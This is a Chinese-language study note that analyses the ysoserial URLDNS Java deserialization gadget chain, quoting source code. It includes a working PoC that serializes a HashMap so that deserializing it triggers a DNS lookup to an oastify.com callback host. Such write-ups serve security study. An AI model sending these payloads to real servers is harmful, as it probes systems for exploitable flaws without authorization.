URLDNS 链子分析
*   Gadget Chain:  *     HashMap.readObject()  *       HashMap.putVal()  *         HashMap.hash()  *           URL.hashCode()
   | 
 
原理:
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.
在利用yso生成链子的时候先从GeneratPayload.class触发
package ysoserial;
  import java.io.PrintStream; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload.Utils;
  public class GeneratePayload {     private static final int INTERNAL_ERROR_CODE = 70;     private static final int USAGE_CODE = 64;
      public GeneratePayload() {     }
      public static void main(String[] args) {         if (args.length != 2) {             printUsage();             System.exit(64);         }
          String payloadType = args[0];         String command = args[1];         Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);         if (payloadClass == null) {             System.err.println("Invalid payload type '" + payloadType + "'");             printUsage();             System.exit(64);         } else {             try {                 ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();                 Object object = payload.getObject(command);                 PrintStream out = System.out;                 Serializer.serialize(object, out);                 Utils.releasePayload(payload, object);             } catch (Throwable var7) {                 Throwable e = var7;                 System.err.println("Error while generating or serializing payload");                 e.printStackTrace();                 System.exit(70);             }
              System.exit(0);         }     }
      
   | 
 
然后add添加之后,调用新实例化对象的getObject方法,后面调试跳到了URLDNS.java,且实现了ObjectPayload接口,里面也确实有getObject方法:
重点代码
URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); URL u = new URL((URL)null, url, handler); ht.put(u, url); Reflections.setFieldValue(u, "hashCode", -1); return ht;
   | 
 
URLStreamHandler 是 Java 中的一个抽象类,用于处理 URL 的协议部分,例如 HTTP、HTTPS、FTP 等。
HashMap 是 Java 中的一种集合类,属于 java.util 包,用于存储键值对(key-value pairs)。
在这里,ht 是一个空的 HashMap,后续将被用来存储 URL 对象和对应的 URL 字符串。
Reflections 可能是一个工具类(例如来自某个库,如 org.reflections),用于简化 Java 反射操作。它的 setFieldValue 方法通过反射修改对象的字段值。
在 Java 的 URL 类中,hashCode 是一个私有字段,用于缓存该 URL 的哈希码。URL 类的 hashCode() 方法会计算并缓存这个值,以便在集合操作(如 HashMap 的键比较)中快速使用。
将 hashCode 设置为 -1 的目的可能是:
- 强制 URL 对象在下次调用 hashCode() 时重新计算哈希码(因为 -1 通常表示未初始化的状态)。
 
hashcode计算,判断如果不是-1,则直接返回,表示已经算过了,是-1则继续计算;还有需要注意的这个接口中:
transient URLStreamHandler handler;  private int hashCode = -1;
   | 
 
首先调用HashMap的put方法。
public V put(K key, V value) {     return putVal(hash(key), key, value, false, true); }
  | 
 
会通过hash函数调用key.hashCode()计算key的hashCode;
static final int hash(Object key) {     int h;     return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
  | 
 
key是传入的URL对象,最终调用URL对象的hashCode函数,
public synchronized int hashCode() {     if (hashCode != -1)         return hashCode;
      hashCode = handler.hashCode(this);     return hashCode; } 	
  | 
 
handler是URLStreamHandler的对象;handler在构造函数时被赋值了
transient URLStreamHandler handler
   | 
 
接着调用了URLStreamHandler.hashCode中的getHostAddress(u)方法导致DNS解析
InetAddress addr = getHostAddress(u); if (addr != null) {     h += addr.hashCode(); } else {     String host = u.getHost();     if (host != null)         h += host.toLowerCase().hashCode(); }
   | 
 
POC
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
  public class urldns {     public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {         HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
          URL url = new URL("http://5msdqvjsda7s3f8m8h0vkcsmgdm4avyk.oastify.com");         Class c = url.getClass();         Field hashcodefield = c.getDeclaredField("hashCode");         hashcodefield.setAccessible(true);         hashcodefield.set(url,2); 
          hashmap.put(url, 1);
          hashcodefield.set(url,-1);         serialize(hashmap);         unserialize();
      }
      public static void serialize(Object obj) throws IOException {         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));         oos.writeObject(obj);     }
      public static void unserialize() throws IOException, ClassNotFoundException {         ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));         ois.readObject();     } }
   | 
 
总结 
形象的举个例子
埋雷:构造一个带“陷阱”的快递(序列化)
- 陷阱核心:把URL对象(比如
http://xxx.dnslog.cn)塞进HashMap里当“钥匙”(Key),然后序列化这个HashMap。 
防止提前触发:URL对象默认会立即查DNS,但黑客用反射修改hashCode属性为123(临时值),避免序列化时触发DNS
寄快递:发送包裹到目标(传输数据)
- 数据伪装:序列化后的HashMap看起来是普通数据,被发送到目标服务器(比如通过接口、文件上传等途径)。
 
拆快递:目标拆包裹触发陷阱(反序列化)
自动拆包:服务器反序列化时,会调用HashMap的readObject方法,这是Java默认的反序列化逻辑。
计算“钥匙”哈希值:
HashMap会重新计算每个Key的哈希值(hash(key))
- 此时Key是之前埋入的URL对象,于是调用URL的
hashCode()方法。 
查地址:触发DNS请求(核心利用)
URL的陷阱逻辑
URL的hashCode发现自己的hashCode是-1(反射改回的初始值),于是调用URLStreamHandler.hashCode()
这个方法内部会解析URL的主机名(如xxx.dnslog.cn),调用InetAddress.getByName()发起DNS查询
结果反馈:DNS查询记录会被攻击者的监控平台(如DNSLog)捕获,证明目标存在反序列化漏洞